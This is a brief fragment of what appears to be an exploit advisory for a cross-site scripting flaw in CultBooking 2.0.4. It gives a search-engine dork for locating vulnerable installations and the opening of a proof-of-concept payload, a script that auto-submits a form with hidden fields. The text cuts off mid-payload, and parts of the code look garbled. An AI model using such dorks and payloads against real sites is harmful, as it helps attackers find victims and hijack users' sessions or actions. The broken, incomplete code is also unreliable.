CultBooking 2.0.4 Cross Site Scripting

Dork: "inurl:cultbooking.php" function xss1document.forms"xss".submit; input type="hidden" name="agentdut...